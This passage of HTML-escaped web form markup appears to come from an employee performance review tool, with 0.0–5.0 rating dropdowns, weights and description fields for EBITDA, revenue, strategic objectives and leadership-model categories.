value='3.1'&gt;3.1&lt;/option&gt;&lt;option value='3.2'&gt;3.2&lt;/option&gt;&lt;option value='3.3'&gt;3.3&lt;/option&gt;&lt;option value='3.4'&gt;3.4&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='3.6'&gt;3.6&lt;/option&gt;&lt;option value='3.7'&gt;3.7&lt;/option&gt;&lt;option value='3.8'&gt;3.8&lt;/option&gt;&lt;option value='3.9'&gt;3.9&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.1'&gt;4.1&lt;/option&gt;&lt;option value='4.2'&gt;4.2&lt;/option&gt;&lt;option value='4.3'&gt;4.3&lt;/option&gt;&lt;option value='4.4'&gt;4.4&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='4.6'&gt;4.6&lt;/option&gt;&lt;option value='4.7'&gt;4.7&lt;/option&gt;&lt;option value='4.8'&gt;4.8&lt;/option&gt;&lt;option value='4.9'&gt;4.9&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;br /&gt;Description: &lt;br /&gt;&lt;textarea id='fobjt1_desc'&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;BU/Branch Metrics &amp;#8211; 80% EBITDA Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' id='fobjt180_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.1'&gt;0.1&lt;/option&gt;&lt;option value='0.2'&gt;0.2&lt;/option&gt;&lt;option value='0.3'&gt;0.3&lt;/option&gt;&lt;option value='0.4'&gt;0.4&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='0.6'&gt;0.6&lt;/option&gt;&lt;option value='0.7'&gt;0.7&lt;/option&gt;&lt;option value='0.8'&gt;0.8&lt;/option&gt;&lt;option value='0.9'&gt;0.9&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.1'&gt;1.1&lt;/option&gt;&lt;option value='1.2'&gt;1.2&lt;/option&gt;&lt;option value='1.3'&gt;1.3&lt;/option&gt;&lt;option value='1.4'&gt;1.4&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='1.6'&gt;1.6&lt;/option&gt;&lt;option value='1.7'&gt;1.7&lt;/option&gt;&lt;option value='1.8'&gt;1.8&lt;/option&gt;&lt;option value='1.9'&gt;1.9&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.1'&gt;2.1&lt;/option&gt;&lt;option value='2.2'&gt;2.2&lt;/option&gt;&lt;option value='2.3'&gt;2.3&lt;/option&gt;&lt;option value='2.4'&gt;2.4&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='2.6'&gt;2.6&lt;/option&gt;&lt;option value='2.7'&gt;2.7&lt;/option&gt;&lt;option value='2.8'&gt;2.8&lt;/option&gt;&lt;option value='2.9'&gt;2.9&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.1'&gt;3.1&lt;/option&gt;&lt;option value='3.2'&gt;3.2&lt;/option&gt;&lt;option value='3.3'&gt;3.3&lt;/option&gt;&lt;option value='3.4'&gt;3.4&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='3.6'&gt;3.6&lt;/option&gt;&lt;option value='3.7'&gt;3.7&lt;/option&gt;&lt;option value='3.8'&gt;3.8&lt;/option&gt;&lt;option value='3.9'&gt;3.9&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.1'&gt;4.1&lt;/option&gt;&lt;option value='4.2'&gt;4.2&lt;/option&gt;&lt;option value='4.3'&gt;4.3&lt;/option&gt;&lt;option value='4.4'&gt;4.4&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='4.6'&gt;4.6&lt;/option&gt;&lt;option value='4.7'&gt;4.7&lt;/option&gt;&lt;option value='4.8'&gt;4.8&lt;/option&gt;&lt;option value='4.9'&gt;4.9&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;br /&gt;&lt;a href='#' class='popmake-2041'&gt;Description:&lt;/a&gt;&lt;br /&gt;&lt;textarea id='fobjt180_desc'&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;h5&gt;Objective 2 &amp;#8211; Revenue Achievement&lt;/h5&gt; &lt;div class='objt_weigtht'&gt;Weight: &lt;input type='number' id='fobjt2_weight' value='0.5' required&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;Company Metrics Revenue Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' id='fobjt2_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.1'&gt;0.1&lt;/option&gt;&lt;option value='0.2'&gt;0.2&lt;/option&gt;&lt;option value='0.3'&gt;0.3&lt;/option&gt;&lt;option value='0.4'&gt;0.4&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='0.6'&gt;0.6&lt;/option&gt;&lt;option value='0.7'&gt;0.7&lt;/option&gt;&lt;option value='0.8'&gt;0.8&lt;/option&gt;&lt;option value='0.9'&gt;0.9&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.1'&gt;1.1&lt;/option&gt;&lt;option value='1.2'&gt;1.2&lt;/option&gt;&lt;option value='1.3'&gt;1.3&lt;/option&gt;&lt;option value='1.4'&gt;1.4&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='1.6'&gt;1.6&lt;/option&gt;&lt;option value='1.7'&gt;1.7&lt;/option&gt;&lt;option value='1.8'&gt;1.8&lt;/option&gt;&lt;option value='1.9'&gt;1.9&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.1'&gt;2.1&lt;/option&gt;&lt;option value='2.2'&gt;2.2&lt;/option&gt;&lt;option value='2.3'&gt;2.3&lt;/option&gt;&lt;option value='2.4'&gt;2.4&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='2.6'&gt;2.6&lt;/option&gt;&lt;option value='2.7'&gt;2.7&lt;/option&gt;&lt;option value='2.8'&gt;2.8&lt;/option&gt;&lt;option value='2.9'&gt;2.9&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.1'&gt;3.1&lt;/option&gt;&lt;option value='3.2'&gt;3.2&lt;/option&gt;&lt;option value='3.3'&gt;3.3&lt;/option&gt;&lt;option value='3.4'&gt;3.4&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='3.6'&gt;3.6&lt;/option&gt;&lt;option value='3.7'&gt;3.7&lt;/option&gt;&lt;option value='3.8'&gt;3.8&lt;/option&gt;&lt;option value='3.9'&gt;3.9&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.1'&gt;4.1&lt;/option&gt;&lt;option value='4.2'&gt;4.2&lt;/option&gt;&lt;option value='4.3'&gt;4.3&lt;/option&gt;&lt;option value='4.4'&gt;4.4&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='4.6'&gt;4.6&lt;/option&gt;&lt;option value='4.7'&gt;4.7&lt;/option&gt;&lt;option value='4.8'&gt;4.8&lt;/option&gt;&lt;option value='4.9'&gt;4.9&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;br /&gt;&lt;a href='#' class='popmake-2041'&gt;Description:&lt;/a&gt;&lt;br /&gt;&lt;textarea id='fobjt2_desc'&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;BU/Branch Metrics &amp;#8211; 80% Revenue Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' id='fobjt280_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.1'&gt;0.1&lt;/option&gt;&lt;option value='0.2'&gt;0.2&lt;/option&gt;&lt;option value='0.3'&gt;0.3&lt;/option&gt;&lt;option value='0.4'&gt;0.4&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='0.6'&gt;0.6&lt;/option&gt;&lt;option value='0.7'&gt;0.7&lt;/option&gt;&lt;option value='0.8'&gt;0.8&lt;/option&gt;&lt;option value='0.9'&gt;0.9&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.1'&gt;1.1&lt;/option&gt;&lt;option value='1.2'&gt;1.2&lt;/option&gt;&lt;option value='1.3'&gt;1.3&lt;/option&gt;&lt;option value='1.4'&gt;1.4&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='1.6'&gt;1.6&lt;/option&gt;&lt;option value='1.7'&gt;1.7&lt;/option&gt;&lt;option value='1.8'&gt;1.8&lt;/option&gt;&lt;option value='1.9'&gt;1.9&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.1'&gt;2.1&lt;/option&gt;&lt;option value='2.2'&gt;2.2&lt;/option&gt;&lt;option value='2.3'&gt;2.3&lt;/option&gt;&lt;option value='2.4'&gt;2.4&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='2.6'&gt;2.6&lt;/option&gt;&lt;option value='2.7'&gt;2.7&lt;/option&gt;&lt;option value='2.8'&gt;2.8&lt;/option&gt;&lt;option value='2.9'&gt;2.9&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.1'&gt;3.1&lt;/option&gt;&lt;option value='3.2'&gt;3.2&lt;/option&gt;&lt;option value='3.3'&gt;3.3&lt;/option&gt;&lt;option value='3.4'&gt;3.4&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='3.6'&gt;3.6&lt;/option&gt;&lt;option value='3.7'&gt;3.7&lt;/option&gt;&lt;option value='3.8'&gt;3.8&lt;/option&gt;&lt;option value='3.9'&gt;3.9&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.1'&gt;4.1&lt;/option&gt;&lt;option value='4.2'&gt;4.2&lt;/option&gt;&lt;option value='4.3'&gt;4.3&lt;/option&gt;&lt;option value='4.4'&gt;4.4&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='4.6'&gt;4.6&lt;/option&gt;&lt;option value='4.7'&gt;4.7&lt;/option&gt;&lt;option value='4.8'&gt;4.8&lt;/option&gt;&lt;option value='4.9'&gt;4.9&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;br /&gt;&lt;a href='#' class='popmake-2041'&gt;Description:&lt;/a&gt;&lt;br /&gt;&lt;textarea id='fobjt280_desc'&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;h5&gt;Objective 3 &amp;#8211; Optional&lt;/h5&gt; &lt;div class='objt_weigtht'&gt;Weight: &lt;input type='number' name='optional' id='fobjt3_weight' value='0'&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' name='optional' id='fobjt3_rating'&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;br /&gt;&lt;a href='#' class='popmake-2041'&gt;Description:&lt;/a&gt; &lt;br /&gt;&lt;textarea name='optional' id='fobjt3_desc'&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;a href='#' class='popmake-2020'&gt;Result:&lt;/a&gt;&lt;br /&gt;&lt;textarea name='optional' id='fobjt3_result'&gt;&lt;/textarea&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;h4&gt;Step 2 &amp;#8211; Strategic Objectives&lt;/h4&gt; &lt;div&gt; &lt;div class='plr_form'&gt; &lt;p&gt;For an explanation of respective criteria matrices, please click on category name.&lt;/p&gt; &lt;h5&gt;Objective 1&lt;/h5&gt; &lt;div class='objt_weigtht'&gt;Weight:&lt;input type='number' id='sobjt1_weight' value='0.33' required&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' id='sobjt1_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.1'&gt;0.1&lt;/option&gt;&lt;option value='0.2'&gt;0.2&lt;/option&gt;&lt;option value='0.3'&gt;0.3&lt;/option&gt;&lt;option value='0.4'&gt;0.4&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='0.6'&gt;0.6&lt;/option&gt;&lt;option value='0.7'&gt;0.7&lt;/option&gt;&lt;option value='0.8'&gt;0.8&lt;/option&gt;&lt;option value='0.9'&gt;0.9&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.1'&gt;1.1&lt;/option&gt;&lt;option value='1.2'&gt;1.2&lt;/option&gt;&lt;option value='1.3'&gt;1.3&lt;/option&gt;&lt;option value='1.4'&gt;1.4&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='1.6'&gt;1.6&lt;/option&gt;&lt;option value='1.7'&gt;1.7&lt;/option&gt;&lt;option value='1.8'&gt;1.8&lt;/option&gt;&lt;option value='1.9'&gt;1.9&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.1'&gt;2.1&lt;/option&gt;&lt;option value='2.2'&gt;2.2&lt;/option&gt;&lt;option value='2.3'&gt;2.3&lt;/option&gt;&lt;option value='2.4'&gt;2.4&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='2.6'&gt;2.6&lt;/option&gt;&lt;option value='2.7'&gt;2.7&lt;/option&gt;&lt;option value='2.8'&gt;2.8&lt;/option&gt;&lt;option value='2.9'&gt;2.9&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.1'&gt;3.1&lt;/option&gt;&lt;option value='3.2'&gt;3.2&lt;/option&gt;&lt;option value='3.3'&gt;3.3&lt;/option&gt;&lt;option value='3.4'&gt;3.4&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='3.6'&gt;3.6&lt;/option&gt;&lt;option value='3.7'&gt;3.7&lt;/option&gt;&lt;option value='3.8'&gt;3.8&lt;/option&gt;&lt;option value='3.9'&gt;3.9&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.1'&gt;4.1&lt;/option&gt;&lt;option value='4.2'&gt;4.2&lt;/option&gt;&lt;option value='4.3'&gt;4.3&lt;/option&gt;&lt;option value='4.4'&gt;4.4&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='4.6'&gt;4.6&lt;/option&gt;&lt;option value='4.7'&gt;4.7&lt;/option&gt;&lt;option value='4.8'&gt;4.8&lt;/option&gt;&lt;option value='4.9'&gt;4.9&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2041'&gt;Description:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='sobjt1_desc' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2020'&gt;Result:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='sobjt1_result' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;h5&gt;Objective 2&lt;/h5&gt; &lt;div class='objt_weigtht'&gt;Weight:&lt;input type='number' id='sobjt2_weight' value='0.33' required&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' id='sobjt2_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.1'&gt;0.1&lt;/option&gt;&lt;option value='0.2'&gt;0.2&lt;/option&gt;&lt;option value='0.3'&gt;0.3&lt;/option&gt;&lt;option value='0.4'&gt;0.4&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='0.6'&gt;0.6&lt;/option&gt;&lt;option value='0.7'&gt;0.7&lt;/option&gt;&lt;option value='0.8'&gt;0.8&lt;/option&gt;&lt;option value='0.9'&gt;0.9&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.1'&gt;1.1&lt;/option&gt;&lt;option value='1.2'&gt;1.2&lt;/option&gt;&lt;option value='1.3'&gt;1.3&lt;/option&gt;&lt;option value='1.4'&gt;1.4&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='1.6'&gt;1.6&lt;/option&gt;&lt;option value='1.7'&gt;1.7&lt;/option&gt;&lt;option value='1.8'&gt;1.8&lt;/option&gt;&lt;option value='1.9'&gt;1.9&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.1'&gt;2.1&lt;/option&gt;&lt;option value='2.2'&gt;2.2&lt;/option&gt;&lt;option value='2.3'&gt;2.3&lt;/option&gt;&lt;option value='2.4'&gt;2.4&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='2.6'&gt;2.6&lt;/option&gt;&lt;option value='2.7'&gt;2.7&lt;/option&gt;&lt;option value='2.8'&gt;2.8&lt;/option&gt;&lt;option value='2.9'&gt;2.9&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.1'&gt;3.1&lt;/option&gt;&lt;option value='3.2'&gt;3.2&lt;/option&gt;&lt;option value='3.3'&gt;3.3&lt;/option&gt;&lt;option value='3.4'&gt;3.4&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='3.6'&gt;3.6&lt;/option&gt;&lt;option value='3.7'&gt;3.7&lt;/option&gt;&lt;option value='3.8'&gt;3.8&lt;/option&gt;&lt;option value='3.9'&gt;3.9&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.1'&gt;4.1&lt;/option&gt;&lt;option value='4.2'&gt;4.2&lt;/option&gt;&lt;option value='4.3'&gt;4.3&lt;/option&gt;&lt;option value='4.4'&gt;4.4&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='4.6'&gt;4.6&lt;/option&gt;&lt;option value='4.7'&gt;4.7&lt;/option&gt;&lt;option value='4.8'&gt;4.8&lt;/option&gt;&lt;option value='4.9'&gt;4.9&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2041'&gt;Description:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='sobjt2_desc' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2020'&gt;Result:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='sobjt2_result' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;h5&gt;Objective 3&lt;/h5&gt; &lt;div class='objt_weigtht'&gt;Weight:&lt;input type='number' id='sobjt3_weight' value='0.33' required&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;Rating:&lt;/label&gt; &lt;select class='plr_ratingdropdown' id='sobjt3_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.1'&gt;0.1&lt;/option&gt;&lt;option value='0.2'&gt;0.2&lt;/option&gt;&lt;option value='0.3'&gt;0.3&lt;/option&gt;&lt;option value='0.4'&gt;0.4&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='0.6'&gt;0.6&lt;/option&gt;&lt;option value='0.7'&gt;0.7&lt;/option&gt;&lt;option value='0.8'&gt;0.8&lt;/option&gt;&lt;option value='0.9'&gt;0.9&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.1'&gt;1.1&lt;/option&gt;&lt;option value='1.2'&gt;1.2&lt;/option&gt;&lt;option value='1.3'&gt;1.3&lt;/option&gt;&lt;option value='1.4'&gt;1.4&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='1.6'&gt;1.6&lt;/option&gt;&lt;option value='1.7'&gt;1.7&lt;/option&gt;&lt;option value='1.8'&gt;1.8&lt;/option&gt;&lt;option value='1.9'&gt;1.9&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.1'&gt;2.1&lt;/option&gt;&lt;option value='2.2'&gt;2.2&lt;/option&gt;&lt;option value='2.3'&gt;2.3&lt;/option&gt;&lt;option value='2.4'&gt;2.4&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='2.6'&gt;2.6&lt;/option&gt;&lt;option value='2.7'&gt;2.7&lt;/option&gt;&lt;option value='2.8'&gt;2.8&lt;/option&gt;&lt;option value='2.9'&gt;2.9&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.1'&gt;3.1&lt;/option&gt;&lt;option value='3.2'&gt;3.2&lt;/option&gt;&lt;option value='3.3'&gt;3.3&lt;/option&gt;&lt;option value='3.4'&gt;3.4&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='3.6'&gt;3.6&lt;/option&gt;&lt;option value='3.7'&gt;3.7&lt;/option&gt;&lt;option value='3.8'&gt;3.8&lt;/option&gt;&lt;option value='3.9'&gt;3.9&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.1'&gt;4.1&lt;/option&gt;&lt;option value='4.2'&gt;4.2&lt;/option&gt;&lt;option value='4.3'&gt;4.3&lt;/option&gt;&lt;option value='4.4'&gt;4.4&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='4.6'&gt;4.6&lt;/option&gt;&lt;option value='4.7'&gt;4.7&lt;/option&gt;&lt;option value='4.8'&gt;4.8&lt;/option&gt;&lt;option value='4.9'&gt;4.9&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2041'&gt;Description:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='sobjt3_desc' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2020'&gt;Result:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='sobjt3_result' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;h4&gt;Step 3 &amp;#8211; Leadership Model&lt;/h4&gt; &lt;div&gt; &lt;div class='plr_form'&gt; &lt;p&gt;For an explanation of respective criteria matrices, please click on category name.&lt;/p&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1948'&gt;Customer Champion Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='cc_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1823'&gt;Performer Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='per_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1826'&gt;Strategic Thought Leader Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='stl_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1836'&gt;Driver of Change Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='doc_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1838'&gt;Developer of Talent Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='dot_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1840'&gt;Relationship Builder 